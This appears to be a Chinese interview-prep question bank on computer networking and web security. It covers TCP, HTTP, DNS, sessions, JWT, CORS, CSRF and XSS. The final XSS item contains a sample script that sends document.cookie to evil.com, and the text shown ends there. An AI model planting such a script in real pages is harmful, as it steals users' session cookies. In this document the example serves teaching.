Appearance
计算机网络高频题
网络题的答题诀窍:按分层模型组织答案,先说"哪一层",再说"解决什么问题"。
Q1: TCP 三次握手的过程?为什么不是两次? 「🟢 校招/初级」
考察点:最高频网络题,考察对连接建立本质的理解。
参考答案:
- 客户端发送 SYN(seq=x),进入 SYN_SENT。
- 服务端回 SYN+ACK(seq=y, ack=x+1),进入 SYN_RCVD。
- 客户端回 ACK(ack=y+1),双方进入 ESTABLISHED。
不能两次的原因:两次握手无法让服务端确认客户端的接收能力,还会让历史失效的 SYN 到达服务端后直接建立连接,浪费资源。三次握手的本质是双方各自确认收发能力都正常。
追问延伸:
- SYN flood 攻击的原理和 SYN Cookie 防御?
- 第三次握手可以携带数据吗?(可以)
Q2: TCP 四次挥手的过程?为什么需要 TIME_WAIT? 「🟢 校招/初级」
考察点:连接关闭的可靠性细节。
参考答案:
- 主动方发 FIN,进入 FIN_WAIT_1。
- 被动方回 ACK,进入 CLOSE_WAIT;主动方进入 FIN_WAIT_2。
- 被动方数据发完后发 FIN,进入 LAST_ACK。
- 主动方回 ACK,进入 TIME_WAIT,等待 2MSL 后关闭。
TIME_WAIT(2MSL)的作用:① 保证最后一个 ACK 丢失时被动方可以重发 FIN;② 让本次连接的旧报文在网络中消亡,避免污染新连接。
追问延伸:
- 大量 TIME_WAIT / CLOSE_WAIT 分别说明什么问题?
SO_REUSEADDR、tcp_tw_reuse是什么?
Q3: TCP 怎么保证可靠传输? 「🟡 中级」
考察点:TCP 核心机制的完整性。
参考答案:
- 序号与确认:字节流编号 + ACK 确认收到。
- 超时重传 + 快速重传:收到 3 个重复 ACK 立即重传,不等超时。
- 滑动窗口:接收方通告窗口大小做流量控制。
- 拥塞控制:慢启动 → 拥塞避免 → 快重传 → 快恢复,感知网络拥塞主动降速。
- 校验和:检测传输中的比特错误。
追问延伸:
- 流量控制和拥塞控制的区别?(接收端能力 vs 网络容量)
- 拥塞窗口和发送窗口的关系?
Q4: TCP 和 UDP 的区别?各自的应用场景? 「🟢 校招/初级」
考察点:协议选型的判断力。
参考答案:
| 维度 | TCP | UDP |
|---|---|---|
| 连接 | 面向连接 | 无连接 |
| 可靠性 | 可靠(确认重传) | 尽最大努力交付 |
| 顺序 | 保证有序 | 不保证 |
| 头部 | 20 字节起 | 8 字节 |
| 速度 | 较慢 | 快 |
- TCP 场景:文件传输、HTTP/1.1、邮件;UDP 场景:DNS 查询、视频直播、游戏同步、QUIC 的底层。
追问延伸:
- 怎么在 UDP 上实现可靠传输?(QUIC 的思路)
- 为什么 DNS 主要用 UDP?什么情况用 TCP?
Q5: 从输入 URL 到页面展示,发生了什么? 「🟡 中级」
考察点:综合性大题,考察知识串联能力。
参考答案(按顺序):
- URL 解析:判断是搜索还是地址,解析出协议、域名、路径。
- 缓存检查:强缓存(Cache-Control)→ 协商缓存(ETag/Last-Modified)。
- DNS 解析:浏览器缓存 → 系统缓存 → hosts → 递归/迭代查询。
- 建立连接:三次握手;HTTPS 还要 TLS 握手。
- 发送请求:构造报文,可能经过代理、CDN、负载均衡。
- 服务器处理并返回响应。
- 浏览器渲染:解析 HTML 构建 DOM、CSS 构建 CSSOM、合成渲染树、布局、绘制;遇到 script 阻塞。
- 连接关闭:四次挥手(或 keep-alive 复用)。
追问延伸:
- 浏览器并发连接数限制?HTTP/2 怎么解决?
- 渲染过程中遇到
<img>和<script>分别怎么处理?
Q6: 什么是粘包?怎么解决? 「🟡 中级」
考察点:对 TCP 字节流本质的理解。
参考答案:
- TCP 是字节流协议,没有消息边界;Nagle 算法、接收缓冲区合并都会导致多个应用层报文粘在一起(或一个报文被拆成多段)。
- 解决方案都在应用层:① 定长消息;② 分隔符(如
\r\n);③ 长度前缀(最常用,先读 4 字节长度再读内容);④ 自定义协议头。 - UDP 是数据报协议,有天然边界,不存在粘包。
追问延伸:
- Netty 里处理粘包有哪些解码器?
- 长度前缀用大端还是小端,为什么?
Q8: TCP 三次握手中,如果最后一次 ACK 丢失了会怎样? 「🟡 中级」
考察点:TCP握手异常场景的理解。
参考答案:
如果第三次握手的 ACK 丢失:
- 服务端:处于 SYN_RCVD 状态,收不到 ACK 会重发 SYN+ACK(默认重试5次,间隔1/2/4/8/16秒,共约63秒),超时后关闭连接。
- 客户端:已进入 ESTABLISHED 状态,会开始发送数据。服务端收到数据后,由于连接未完全建立,会回复 RST 或忽略。
- 结果:连接建立失败,客户端收到 RST 后报 Connection Reset。
其他握手异常场景:
- 第一次 SYN 丢失:客户端超时重发 SYN(tcp_syn_retries,默认6次),超时后连接失败。
- 第二次 SYN+ACK 丢失:服务端重发 SYN+ACK(tcp_synack_retries,默认5次),客户端收不到会重发 SYN。
- SYN Flood 攻击:攻击者大量发 SYN 不发 ACK → 服务端半连接队列满 → 正常连接无法建立。防御:SYN Cookie(不分配半连接资源)、减小 SYN+ACK 重试次数、增大半连接队列。
追问延伸:
- SYN Flood 攻击怎么防御?
- 半连接队列和全连接队列的关系?
Q9: TCP 四次挥手中,为什么需要等 2MSL? 「🟡 中级」
考察点:TIME_WAIT 状态存在的意义。
参考答案:
2MSL(Maximum Segment Lifetime)的等待原因:
- 保证最后一个 ACK 到达对端:
- 主动关闭方(TIME_WAIT 端)发送的最后一个 ACK 可能丢失
- 被动关闭方(LAST_ACK 端)收不到 ACK 会重发 FIN
- 主动关闭方在 2MSL 内还能收到重发的 FIN,可以重新发送 ACK
- 如果不等 2MSL 就关闭,重发的 FIN 就没人回应了
- 防止旧连接的报文干扰新连接:
- 2MSL 后,本次连接的所有报文都会从网络中消失
- 如果立刻建立相同四元组的新连接,旧报文可能被新连接误收
MSL 是报文最大生存时间(TCP 首部有 TTL),Linux 默认 MSL=30秒,所以 2MSL=60秒。为什么是 2 倍:一个 MSL 保证发送的 ACK 能到达对端,另一个 MSL 保证对端重发的 FIN 能到达自己。
大量 TIME_WAIT 的原因和解决:
- 原因:服务端主动关闭连接(如 HTTP/1.0 short-lived、爬虫)
- 影响:占用端口(默认可用端口约 28000 个)、占用内存
- 解决:
tcp_tw_reuse=1:允许新连接复用 TIME_WAIT 端口(客户端)tcp_tw_recycle=1:快速回收(4.12前可用,有 NAT 环境风险,已废弃)tcp_max_tw_buckets:限制 TIME_WAIT 数量- 用长连接(keep-alive)减少连接建立/断开
追问延伸:
- 为什么 tcp_tw_recycle 在 NAT 环境下有风险?
- 服务端出现大量 TIME_WAIT 正常吗?
Q10: TCP 的拥塞控制有哪些算法? 「🟡 中级」
考察点:TCP 拥塞控制机制的深入理解。
参考答案:
拥塞控制 vs 流量控制:
- 流量控制:端到端,接收方通过滑动窗口告诉发送方"我能收多少"
- 拥塞控制:感知网络拥塞程度,控制发送速率
四个经典算法:
- 慢启动(Slow Start):
- 初始拥塞窗口 cwnd=1(MSS)
- 每收到一个 ACK,cwnd 加1(指数增长:1→2→4→8→16...)
- 达到慢启动门限 ssthresh 后转为线性增长
- 拥塞避免(Congestion Avoidance):
- cwnd 超过 ssthresh 后,每经过一个 RTT cwnd 加1(线性增长)
- 增长慢,避免网络拥塞
- 快重传(Fast Retransmit):
- 接收方收到乱序报文时连续发重复 ACK
- 发送方收到 3 个重复 ACK → 立即重传丢失的报文(不等超时)
- ssthresh = cwnd / 2,cwnd = ssthresh
- 快恢复(Fast Recovery):
- 快重传后不回到慢启动,而是从 ssthresh 开始线性增长
- 避免过度降低发送速率
超时重传(最严重的情况):
- ssthresh = cwnd / 2,cwnd = 1(回到慢启动)
新算法:
- BBR(Google):基于带宽和 RTT 估计,不依赖丢包,更高效
- Linux 4.9+ 默认 CUBIC,可切换 BBR
追问延伸:
- 慢启动为什么叫"慢"?(相对突然大量发送导致拥塞而言)
- BBR 和基于丢包的算法有什么区别?
Q11: HTTP 报文的结构是怎样的? 「🟢 校招/初级」
考察点:HTTP 协议的基础知识。
参考答案:
HTTP 报文分为请求报文和响应报文:
请求报文:
POST /api/user HTTP/1.1 ← 请求行:方法 URL 协议版本
Host: www.example.com ← 请求头
Content-Type: application/json
Content-Length: 25
← 空行(CRLF)
{"name":"张三","age":20} ← 请求体响应报文:
HTTP/1.1 200 OK ← 状态行:协议版本 状态码 原因短语
Content-Type: application/json ← 响应头
Content-Length: 15
← 空行
{"code":0,"msg":""} ← 响应体请求方法:GET、POST、PUT、DELETE、PATCH、HEAD、OPTIONS、CONNECT、TRACE
状态码分类:1xx信息、2xx成功、3xx重定向、4xx客户端错误、5xx服务端错误
HTTP 长连接(Keep-Alive):
- HTTP/1.0 默认短连接(每次请求新建 TCP)
- HTTP/1.1 默认长连接(Connection: keep-alive,TCP 复用)
- 长连接减少 TCP 握手/挥手开销
断点续传:
- 客户端:
Range: bytes=1000-2000(请求第1000-2000字节) - 服务端:
206 Partial Content+Content-Range: bytes 1000-2000/5000 - 用于大文件下载、视频流
追问延伸:
- HTTP/1.1 的长连接和 HTTP/2 的多路复用有什么区别?
- 301 和 302 的区别?什么时候用 308?
Q12: HTTP 长连接和 WebSocket 有什么区别? 「🟡 中级」
考察点:实时通信方案的对比选型。
参考答案:
HTTP 长连接(Keep-Alive):
- 基于 HTTP 协议,TCP 连接复用
- 仍然是请求-响应模式(客户端发请求,服务端才响应)
- 服务端不能主动推送(只能用长轮询/SSE 模拟)
- 连接空闲超时会被关闭
WebSocket:
- 全双工通信(客户端和服务端都能主动发消息)
- 基于 TCP,握手用 HTTP(Upgrade: websocket),之后切换到 WebSocket 协议
- 数据帧格式轻量(2-10字节头部)
- 没有同源策略限制(需自己处理安全)
对比:
| 维度 | HTTP 长连接 | WebSocket | SSE | 长轮询 |
|---|---|---|---|---|
| 通信方式 | 请求-响应 | 全双工 | 服务端推送 | 请求-响应 |
| 底层协议 | HTTP | TCP(WS) | HTTP | HTTP |
| 服务端推送 | 不支持 | 支持 | 支持(单向) | 间接支持 |
| 连接复用 | 复用TCP | 持久TCP | 持久HTTP | 每次新建 |
| 适用场景 | 普通Web | 聊天/协作 | 通知/股票 | 简单推送 |
选型建议:
- 实时双向通信(聊天、游戏、协作)→ WebSocket
- 服务端推送(通知、股票行情)→ SSE
- 普通请求 → HTTP 长连接
- 兼容性要求高、简单推送 → 长轮询
追问延伸:
- WebSocket 怎么做心跳保活?
- SSE 和 WebSocket 怎么选?
Q13: TCP 粘包和拆包是什么?怎么解决? 「🟡 中级」
考察点:TCP 流式协议的特性理解。
参考答案:
TCP 是面向流的协议,没有消息边界,所以会出现:
- 粘包:多个小包合并成一个大包发送(Nagle 算法优化)
- 拆包:一个大包被拆成多个小包发送
UDP 不会粘包/拆包(面向报文,每个 UDP 包有明确边界)。
解决方案(核心思路:在应用层定义消息边界):
- 固定长度:每条消息固定长度(不够补齐),简单但浪费带宽
- 分隔符:用特殊字符(如
\r\n)分隔消息(如 FTP、Redis 协议) - 长度字段:消息头中包含消息体长度(最常用)
- 如:
[4字节长度][消息体],先读长度,再读对应字节数的消息体
- 如:
- 自定义协议:更复杂的协议格式(如 magic number + version + length + body + checksum)
Netty 中的实现:
FixedLengthFrameDecoder:固定长度LineBasedFrameDecoder/DelimiterBasedFrameDecoder:分隔符LengthFieldBasedFrameDecoder:长度字段(最常用)
追问延伸:
- 为什么 TCP 会粘包但 UDP 不会?
- Nagle 算法和粘包有什么关系?
Q14: HTTP 和 RPC 有什么区别?为什么有了 HTTP 还要用 RPC? 「🟡 中级」
考察点:远程通信协议的对比理解。
参考答案:
HTTP 和 RPC 的核心区别:
| 维度 | HTTP | RPC |
|---|---|---|
| 设计目标 | 面向资源(RESTful) | 面向方法(像调用本地方法) |
| 协议 | 文本协议(可读性好) | 二进制协议(紧凑高效) |
| 序列化 | JSON/XML(体积大) | Protobuf/Hessian/Thrift(体积小) |
| 性能 | 中 | 高(序列化小+连接复用) |
| 服务发现 | DNS/网关 | 注册中心(Nacos/ZK) |
| 语义 | GET/POST/PUT/DELETE | 像本地调用(方法名+参数) |
| 生态 | 跨语言、通用 | 框架绑定(gRPC/Dubbo) |
有了 HTTP 为什么还要 RPC:
- 性能:RPC 用二进制序列化(Protobuf),比 JSON 小 3-10 倍,网络传输更快
- 开发体验:RPC 像调用本地方法一样调用远程服务(透明),HTTP 需要手动处理请求/响应
- 服务治理:RPC 框架内置负载均衡、熔断、限流、链路追踪(HTTP 需要自己搭)
- 连接管理:RPC 通常用长连接(单个 TCP 连接复用),HTTP/1.1 也有但不如 RPC 高效
什么时候用 HTTP:
- 对外 API(第三方调用,跨语言,通用)
- 前端 → 后端(浏览器只能发 HTTP)
- 简单场景、低 QPS
什么时候用 RPC:
- 内部服务间调用(高性能、强类型、服务治理)
- 微服务架构内部通信
gRPC 是趋势:基于 HTTP/2 + Protobuf,兼具 HTTP 的通用性和 RPC 的高性能。
追问延伸:
- gRPC 和 Dubbo 的区别?
- RESTful API 和 RPC 的风格差异?
Q15: 网页加载很慢,怎么排查? 「🟡 中级」
考察点:前端性能问题的排查能力。
参考答案:
排查链路(从前到后):
- DNS 解析慢:
- 命令:
nslookup/dig - 检查 DNS 服务器响应时间
- 解决:换公共 DNS(114.114.114.114 / 8.8.8.8)、DNS 预解析
- 命令:
- TCP 连接慢:
- 命令:
traceroute/tracert - 检查网络延迟、丢包
- 解决:CDN 加速、就近部署
- 命令:
- 服务端响应慢:
- 检查服务端 RT(Response Time)
- APM 工具(SkyWalking / Zipkin)
- 解决:优化 SQL、加缓存、异步化
- 资源加载慢:
- 浏览器 DevTools → Network 面板
- 看每个资源的加载时间(TTFB、Content Download)
- 解决:压缩、合并、CDN、缓存
- 渲染慢:
- 浏览器 DevTools → Performance 面板
- 检查 JS 执行时间、布局重排、图片解码
- 解决:减少 DOM 操作、虚拟列表、懒加载
- 前端排查工具:
- Chrome DevTools(Network/Performance/Lighthouse)
- WebPageTest(多地域测试)
- Lighthouse(性能评分)
关键指标:
- FCP(First Contentful Paint):首次内容绘制
- LCP(Largest Contentful Paint):最大内容绘制(< 2.5s)
- FID(First Input Delay):首次输入延迟(< 100ms)
- CLS(Cumulative Layout Shift):布局偏移(< 0.1)
追问延伸:
- TTFB 慢是什么原因?
- 前端性能优化的常见手段有哪些?
Q16: OSI 七层模型与 TCP/IP 四层模型分别是什么? 「🟢 校招/初级」
考察点:网络分层模型的基础知识。
参考答案:
OSI 七层模型(理论参考):
| 层级 | 名称 | 功能 | 协议示例 |
|---|---|---|---|
| 7 | 应用层 | 为用户提供网络服务 | HTTP、FTP、DNS、SMTP |
| 6 | 表示层 | 数据格式转换、加密压缩 | SSL/TLS、JPEG |
| 5 | 会话层 | 建立/管理/终止会话 | RPC、SOCKS |
| 4 | 传输层 | 端到端通信、可靠性 | TCP、UDP |
| 3 | 网络层 | 路由转发、逻辑寻址 | IP、ICMP、OSPF |
| 2 | 数据链路层 | 物理寻址、帧封装 | ARP、Ethernet |
| 1 | 物理层 | 比特流传输 | RS-232、RJ45 |
TCP/IP 四层模型(工程实际):
| 层级 | 名称 | 对应 OSI | 协议 |
|---|---|---|---|
| 4 | 应用层 | 5-7 | HTTP、FTP、DNS、SMTP、SSH |
| 3 | 传输层 | 4 | TCP、UDP |
| 2 | 网络层 | 3 | IP、ICMP、ARP |
| 1 | 网络接口层 | 1-2 | Ethernet、Wi-Fi |
为什么要分层:
- 各层独立设计,接口清晰,降低复杂度
- 灵活性好(某层技术变化不影响其他层)
- 易于标准化和维护
面试记忆口诀(OSI 从下往上):物数网传会表应。
追问延伸:
- ARP 属于哪一层?(网络层/数据链路层有争议,TCP/IP 模型中归网络层)
- 为什么 OSI 没有流行起来?(过于理想化,实现复杂)
Q17: HTTP 常见状态码有哪些?301、302、304、502、504 的区别? 「🟢 校招/初级」
考察点:HTTP 状态码的实际理解。
参考答案:
状态码分类:
| 分类 | 含义 | 常见状态码 |
|---|---|---|
| 1xx | 信息性 | 100 Continue |
| 2xx | 成功 | 200 OK、201 Created、206 Partial Content |
| 3xx | 重定向 | 301、302、304、307、308 |
| 4xx | 客户端错误 | 400、401、403、404、429 |
| 5xx | 服务端错误 | 500、502、503、504 |
重点区分:
- 301 Moved Permanently:永久重定向。搜索引擎会更新索引,用于域名迁移、HTTP→HTTPS。
- 302 Found:临时重定向。搜索引擎保留原 URL,用于临时跳转(如登录重定向)。
- 304 Not Modified:协商缓存命中。客户端发
If-Modified-Since/If-None-Match,服务端确认没修改则返回 304,客户端用本地缓存。 - 502 Bad Gateway:网关/代理收到了上游服务的无效响应(如上游服务崩溃、返回格式错误)。
- 504 Gateway Timeout:网关/代理等待上游服务响应超时(如上游服务处理太慢)。
其他高频状态码:
- 401 Unauthorized:未认证(需要登录)。
- 403 Forbidden:已认证但无权限访问。
- 429 Too Many Requests:限流触发。
追问延伸:
- 301 和 302 对 SEO 有什么不同影响?
- 502 和 504 排查思路分别是什么?
Q18: GET 和 POST 有什么区别? 「🟢 校招/初级」
考察点:HTTP 方法的核心区别。
参考答案:
| 维度 | GET | POST |
|---|---|---|
| 语义 | 获取资源 | 提交数据 |
| 参数位置 | URL 查询字符串(?key=value) | 请求体(Body) |
| 长度限制 | 浏览器/服务器对 URL 长度有限制(约2KB) | 理论上无限制(受服务器配置限制) |
| 编码类型 | application/x-www-form-urlencoded | 多种(form-data、json、text等) |
| 缓存 | 可被缓存(CDN、浏览器) | 默认不缓存 |
| 历史 | URL 保留在历史记录 | 不保留 |
| 幂等性 | 幂等 | 不幂等 |
| 安全性 | 参数暴露在 URL | 相对隐蔽(但都是明文,HTTPS 才加密) |
注意误区:
- GET 和 POST 本质上都是 HTTP 请求,底层都是 TCP 连接,没有"GET 不能有 Body"的硬性规定(HTTP 规范允许,但部分服务器/代理会忽略)
- POST 不比 GET 安全(抓包都能看到),安全靠 HTTPS
- GET 请求可以产生幂等副作用(如查询日志),POST 不幂等是语义上的约定
追问延伸:
- PUT 和 PATCH 的区别?(PUT 全量替换,PATCH 部分更新)
- RESTful API 怎么用 HTTP 方法映射 CRUD?
Q19: HTTP 和 HTTPS 的区别?HTTPS 的握手过程? 「🟡 中级」
考察点:HTTPS 加密原理的核心面试题。
参考答案:
HTTP vs HTTPS:
| 维度 | HTTP | HTTPS |
|---|---|---|
| 端口 | 80 | 443 |
| 安全性 | 明文传输 | TLS/SSL 加密 |
| 证书 | 不需要 | 需要 CA 证书 |
| 性能 | 快 | 略慢(TLS 握手 + 加解密) |
| SEO | 无优势 | 搜索引擎优先收录 |
HTTPS = HTTP + TLS/SSL,加密方式:混合加密(非对称加密交换密钥 + 对称加密传输数据)。
TLS 握手过程(TLS 1.2):
- Client Hello:客户端发送支持的 TLS 版本、加密套件列表、随机数 Client Random。
- Server Hello:服务端选择 TLS 版本和加密套件,返回随机数 Server Random + 服务器证书(含公钥)。
- 客户端验证证书:检查证书签名链(CA→中间CA→服务器证书)、有效期、域名匹配。
- 生成预主密钥:客户端生成 Pre-Master Secret,用服务器公钥加密后发送(RSA)或用 ECDHE 密钥交换。
- 双方计算会话密钥:Client Random + Server Random + Pre-Master Secret → 对称密钥。
- ** Finished**:双方发送加密的握手完成消息,之后用对称加密通信。
TLS 1.3 优化(1-RTT 甚至 0-RTT):
- 握手从 4 次降为 2 次(合并部分步骤)
- 废弃 RSA 密钥交换,只用 ECDHE(支持前向保密)
- 支持 0-RTT 恢复(已有会话凭证时直接发数据)
追问延伸:
- HTTPS 能防中间人攻击吗?原理是什么?(证书信任链 + 数字签名)
- 对称加密和非对称加密各有什么优缺点?
Q20: HTTP/1.1、HTTP/2、HTTP/3 的区别是什么? 「🟡 中级」
考察点:HTTP 协议演进的了解。
参考答案:
| 维度 | HTTP/1.1 | HTTP/2 | HTTP/3 |
|---|---|---|---|
| 传输层 | TCP | TCP | QUIC(UDP) |
| 多路复用 | 不支持 | 支持 | 支持 |
| 头部压缩 | 不支持 | HPACK | QPACK |
| 服务端推送 | 不支持 | 支持 | 支持 |
| 队头阻塞 | 有(TCP层+HTTP层) | 部分解决(HTTP层,TCP层仍有) | 彻底解决 |
| 连接建立 | TCP 3次握手 | TCP 3次握手 + TLS | QUIC 1-RTT/0-RTT |
HTTP/1.1 的问题:
- 队头阻塞:一个请求阻塞后续请求(同一 TCP 连接上只能串行)
- 解决方案:管线化(失败)→ 域名分片(开多个连接)→ Keep-Alive
HTTP/2 的改进:
- 二进制分帧:数据分成帧传输,不再是文本协议
- 多路复用:一个 TCP 连接上并行多个请求/响应
- 头部压缩:HPACK 算法(静态表 + 动态表 + 哈夫曼编码)
- 服务端推送:主动推送资源(如 CSS/JS)
- 问题:TCP 层仍有队头阻塞(一个包丢失,整个连接等待)
HTTP/3 的改进:
- 基于 QUIC(Quick UDP Internet Connections),Google 开发
- QUIC 基于 UDP,内置加密(TLS 1.3)
- 无 TCP 队头阻塞:一个流丢包不影响其他流
- 连接迁移:网络切换(WiFi→4G)不断连接,用 Connection ID 而非四元组
- 更快的连接建立:1-RTT 甚至 0-RTT
追问延伸:
- HTTP/2 为什么没有完全解决队头阻塞?(TCP 层)
- QUIC 为什么用 UDP 而不是 TCP?(避免内核态 TCP 栈开销,用户态实现更灵活)
Q21: DNS 域名解析的过程是什么? 「🟢 校招/初级」
考察点:DNS 解析链路的完整性。
参考答案:
DNS 解析流程(以 www.example.com 为例):
- 浏览器缓存:先查浏览器自身的 DNS 缓存(TTL 过期则丢弃)。
- 操作系统缓存:查 OS 的 DNS 缓存(如 Windows 的 DNS Cache)。
- hosts 文件:查本地 hosts 文件是否有映射。
- 本地 DNS 服务器(递归查询开始):向配置的 DNS 服务器(如 8.8.8.8 或运营商 DNS)发起查询。
- 根域名服务器(迭代查询):本地 DNS 找不到则问根服务器 → 返回
.com顶级域名服务器地址。 - 顶级域名服务器(.com):返回
example.com的权威 DNS 服务器地址。 - 权威域名服务器:返回
www.example.com的 A 记录(IP 地址)。 - 本地 DNS 缓存结果并返回给客户端,客户端也缓存。
递归 vs 迭代:
- 递归:客户端→本地DNS,本地DNS 负责一路查到底(客户端只问一次)
- 迭代:本地DNS→根→顶级→权威,每一步得到下一步地址自己去查
DNS 记录类型:
| 类型 | 含义 |
|---|---|
| A | 域名→IPv4 地址 |
| AAAA | 域名→IPv6 地址 |
| CNAME | 域名→另一个域名(别名) |
| MX | 邮件服务器 |
| NS | 域名的权威服务器 |
| TXT | 文本记录(SPF、验证等) |
DNS 为什么主要用 UDP:
- DNS 查询/响应通常很小(<512字节),UDP 快速高效
- 需要可靠传输时切换 TCP(响应超过512字节、区域传输)
追问延伸:
- DNS 劫持是什么?怎么防?(DoH/DoT 加密 DNS 查询)
- CDN 怎么用 DNS 做就近接入?(智能 DNS 根据来源 IP 返回最近 CDN 节点)
Q22: Cookie、Session、Token 的区别? 「🟡 中级」
考察点:状态管理方案的对比理解。
参考答案:
| 维度 | Cookie | Session | Token(JWT) |
|---|---|---|---|
| 存储位置 | 客户端(浏览器) | 服务端 | 客户端(localStorage/Cookie) |
| 安全性 | 低(可被读取/篡改) | 中(客户端只有 SessionID) | 中(签名防篡改,但 Payload 明文) |
| 扩展性 | 好 | 差(需要共享 Session) | 好(无状态) |
| 过期方式 | 可设置过期时间 | 服务器 Session 超时 | Token 自带 exp |
| 跨域 | 受同源策略限制 | 同 Cookie | 可配合 CORS/Authorization |
Cookie:
- 服务器通过
Set-Cookie响应头下发,浏览器自动存储并在后续请求中自动携带 - 属性:
Domain、Path、Expires、HttpOnly(防 XSS 读取)、Secure(仅 HTTPS)、SameSite(防 CSRF) - 容量限制:约 4KB
Session:
- 服务器创建 Session 对象,生成唯一 SessionID 下发给客户端(通常存在 Cookie 中)
- 每次请求带 SessionID,服务器查找对应的 Session 数据
- 问题:多台服务器需要 Session 共享(Redis/Sticky Session/JWT 替代)
Token(JWT):
- 服务器无状态,客户端持有 Token,每次请求放在
Authorization: Bearer <token>头中 - 适合分布式/微服务架构、移动端、SSO 单点登录
选型建议:
- 传统 Web 应用(同域、服务端渲染)→ Cookie + Session
- 前后端分离、移动端、跨域 → Token(JWT)
- 需要服务端主动让会话失效 → Session
- 不需要服务端管理状态 → JWT
追问延伸:
- Cookie 的 HttpOnly 和 SameSite 各防什么攻击?
- 禁用 Cookie 后 Session 还能用吗?(可以,把 SessionID 放 URL 或自定义 Header)
Q23: JWT 的原理和结构是什么?有什么优缺点? 「🟡 中级」
考察点:JWT 的深入理解。
参考答案:
JWT(JSON Web Token):一种用于身份认证的开放标准(RFC 7519),以 JSON 格式编码的令牌。
JWT 结构(三部分用 . 分隔):
Header.Payload.Signature
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSIsImV4cCI6MTYwOTQ2MDAwMH0.signature- Header(头部):算法类型 + Token 类型json
{"alg": "HS256", "typ": "JWT"} - Payload(载荷):声明信息(不加密,不要放敏感数据)json
{"sub": "user1", "name": "张三", "exp": 1609460000, "role": "admin"}- 标准声明:
iss(签发者)、sub(主体)、exp(过期时间)、iat(签发时间)
- 标准声明:
- Signature(签名):用 Header 中指定的算法 + 密钥对
base64(Header) + "." + base64(Payload)签名HMACSHA256(base64(Header) + "." + base64(Payload), secretKey)
JWT 认证流程:
- 用户登录成功 → 服务器生成 JWT(签名)返回给客户端
- 客户端存储 JWT(localStorage 或 Cookie)
- 后续请求在
Authorization: Bearer <token>头中携带 JWT - 服务器验证签名(确保未篡改)+ 检查
exp(是否过期)→ 通过则处理请求
优点:
- 无状态:服务端不存储 Session,天然支持分布式/集群
- 跨域友好:通过 Header 传递,不受 Cookie 同源策略限制
- 自包含:Payload 中携带用户信息,减少数据库查询
缺点:
- 无法主动失效:签发后到过期前一直有效(解决方案:黑名单、短有效期+Refresh Token)
- Payload 明文:只是 Base64 编码,不是加密(不要放敏感信息)
- Token 大小:比 SessionID 大,每次请求都传输
- 续签复杂:过期后需要重新签发或用 Refresh Token
追问延伸:
- JWT 泄露了怎么办?(撤销/黑名单 + 缩短有效期 + 使用 HTTPS)
- JWT 和 OAuth2.0 的关系是什么?(JWT 是 Token 格式,OAuth2.0 是认证框架)
Q24: 什么是跨域?CORS 的原理是什么? 「🟡 中级」
考察点:浏览器同源策略和跨域方案。
参考答案:
同源策略:浏览器安全策略,要求协议、域名、端口三者都相同才能互相访问资源(AJAX 请求、Cookie、DOM)。
跨域场景:
| URL A | URL B | 是否同源 | 原因 |
|---|---|---|---|
| http://a.com/page | http://a.com/api | ✅ 同源 | - |
| http://a.com | https://a.com | ❌ 跨域 | 协议不同 |
| http://a.com:80 | http://a.com:8080 | ❌ 跨域 | 端口不同 |
| http://a.com | http://b.com | ❌ 跨域 | 域名不同 |
CORS(Cross-Origin Resource Sharing)原理:
- 服务端在响应头中声明允许哪些源访问
- 浏览器检查响应头,决定是否把结果给 JavaScript
简单请求(GET/HEAD/POST + 标准头部):
- 浏览器直接发请求,带上
Origin头 - 服务端返回
Access-Control-Allow-Origin: *或具体源 - 浏览器检查通过则允许读取响应
预检请求(非简单请求,如 PUT/DELETE、自定义头部、Content-Type: application/json):
- 浏览器先发 OPTIONS 请求(预检)
- 服务端返回允许的方法、头部、缓存时间
- 预检通过后才发真实请求
关键响应头:
Access-Control-Allow-Origin: https://a.com ← 允许的源
Access-Control-Allow-Methods: GET, POST, PUT ← 允许的方法
Access-Control-Allow-Headers: Content-Type ← 允许的请求头
Access-Control-Allow-Credentials: true ← 允许带 Cookie
Access-Control-Max-Age: 86400 ← 预检结果缓存时间注意:Allow-Origin: * 和 Allow-Credentials: true 不能同时使用。带 Cookie 时必须指定具体源。
其他跨域方案:
- JSONP:利用
<script>标签不受同源策略限制,只支持 GET - 代理服务器:前端请求同源的代理服务器,代理服务器请求目标服务(Nginx 反代)
- postMessage:窗口间通信(iframe、弹窗)
追问延伸:
- 为什么 CORS 预检请求用 OPTIONS?
- Cookie 跨域怎么处理?(
withCredentials: true+ 服务端Allow-Credentials: true)
Q25: CSRF 攻击是什么?怎么防御? 「🟡 中级」
考察点:Web 安全的基础认知。
参考答案:
CSRF(Cross-Site Request Forgery,跨站请求伪造):攻击者诱导用户在已登录的网站上执行非自愿的操作。
攻击原理:
- 用户登录银行网站 A,浏览器保存了 A 的 Cookie
- 用户访问恶意网站 B,B 中有个表单自动提交到 A 的转账接口
- 浏览器自动带上 A 的 Cookie → 转账请求成功执行
与 XSS 的区别:CSRF 是利用用户的身份(Cookie),XSS 是注入恶意脚本执行。
防御方案:
- SameSite Cookie(推荐):
Set-Cookie: sessionid=xxx; SameSite=Strict→ 跨站请求不带 CookieSameSite=Lax:导航到目标 URL 时带 Cookie,其他跨站不带(浏览器默认值)
- CSRF Token:
- 服务端生成随机 Token,放在表单隐藏域或 Header 中
- 提交时验证 Token,攻击者无法获取 Token → 请求被拒
- Referer/Origin 校验:
- 检查请求来源是否合法(Referer 或 Origin 头)
- 缺点:Referer 可被禁用/篡改
- 双重 Cookie 验证:
- Cookie 中设一个随机值,请求时在 URL/Header 中带上同一个值
- 服务端比对两者是否一致
追问延伸:
- SameSite=Strict 对用户体验有什么影响?(从外部链接进入已登录网站需要重新登录)
- CORS 能防 CSRF 吗?(不能,CORS 是浏览器对响应的拦截,CSRF 是请求被发送)
Q26: XSS 攻击是什么?怎么防御? 「🟡 中级」
考察点:Web 安全攻击与防御。
参考答案:
XSS(Cross-Site Scripting,跨站脚本攻击):攻击者向网页中注入恶意 JavaScript 脚本,在用户浏览时执行。
XSS 类型:
| 类型 | 原理 | 持久性 | 示例 |
|---|---|---|---|
| 反射型 | 恶意脚本在 URL 中,服务端反射到页面 | 非持久 | search?q=<script>...</script> |
| 存储型 | 恶意脚本存入数据库,其他用户访问时触发 | 持久 | 评论/留言中注入脚本 |
| DOM型 | 纯前端 JavaScript 操作 DOM 引入 | 非持久 | innerHTML = userInput |
攻击示例:
html
<!-- 攻击者在评论区写入 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
